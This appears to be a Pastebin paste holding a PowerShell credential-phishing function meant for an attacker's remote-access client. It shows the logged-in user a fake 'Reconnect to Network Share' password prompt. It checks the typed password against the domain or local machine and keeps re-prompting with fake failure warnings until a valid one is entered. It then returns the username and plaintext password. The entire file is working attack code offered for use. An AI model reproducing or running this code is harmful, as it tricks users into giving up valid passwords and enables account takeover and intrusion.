Advertisement
Guest User

Untitled

a guest
Jan 20th, 2016
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.15 KB | None | 0 0
  1. # Enhanced version of askfor-creds that performs credential validation to insure you get valid credentails.
  2. # Will be added to the async-client and tcp-client.
  3. #
  4. # xor-function
  5.  
  6. #[->] thx Mubix for the idea ;)
  7. function askfor-creds {
  8.  
  9. [int]$cnt = 1
  10.  
  11. while ( $cnt -lt '4' ) {
  12.  
  13. $user = [Environment]::UserName
  14. $domain = [Environment]::UserDomainName
  15.  
  16. $credentials = $Host.UI.PromptForCredential('Reconnect to Network Share','',$user,[Environment]::UserDomainName)
  17. $pass = $credentials.getnetworkcredential().password
  18.  
  19. if ((gwmi win32_computersystem).partofdomain -eq $true ) {
  20.  
  21. Add-Type -assemblyname system.DirectoryServices.AccountManagement
  22. $cntxtdom = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Domain, $domain)
  23. $chkdom = $cntxtdom.ValidateCredentials($user,$pass)
  24.  
  25. if ( $chkdom -eq $false ) {
  26.  
  27. Add-Type -AssemblyName System.Windows.Forms
  28. $choice = [System.Windows.Forms.MessageBox]::Show("Authentication failed, please enter correct password", "Reconnection Attempt Failed!", [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Warning)
  29.  
  30. } else { break }
  31.  
  32. } else {
  33.  
  34. Add-Type -assemblyname system.DirectoryServices.AccountManagement
  35. $localMachine = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine)
  36. $credtest = $localMachine.ValidateCredentials($user,$pass)
  37.  
  38. if ( $credtest -eq $false ) {
  39.  
  40. Add-Type -assemblyname System.Windows.Forms
  41. $choice = [System.Windows.Forms.MessageBox]::Show("Authentication failed! Please enter correct password", "Reconnection Attempt Failed!", [System.Windows.Forms.MessageBoxButtons]::OK, [System.Windows.Forms.MessageBoxIcon]::Warning)
  42.  
  43. } else { break }
  44.  
  45. }
  46.  
  47. $cnt++
  48.  
  49. }
  50.  
  51. if ( $cnt -eq '4' ) {
  52.  
  53. $summary = "[!] Attempt failed! Exceeded login attempts."
  54.  
  55. } else {
  56.  
  57. $summary = "[!] Successfully authenticated with domain! `n"
  58. $summary += '[>] Domain\UserName: ' + $domain + '\' + $user + ' | ' + 'Pass: ' + $pass
  59.  
  60. }
  61.  
  62. return $summary
  63.  
  64. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement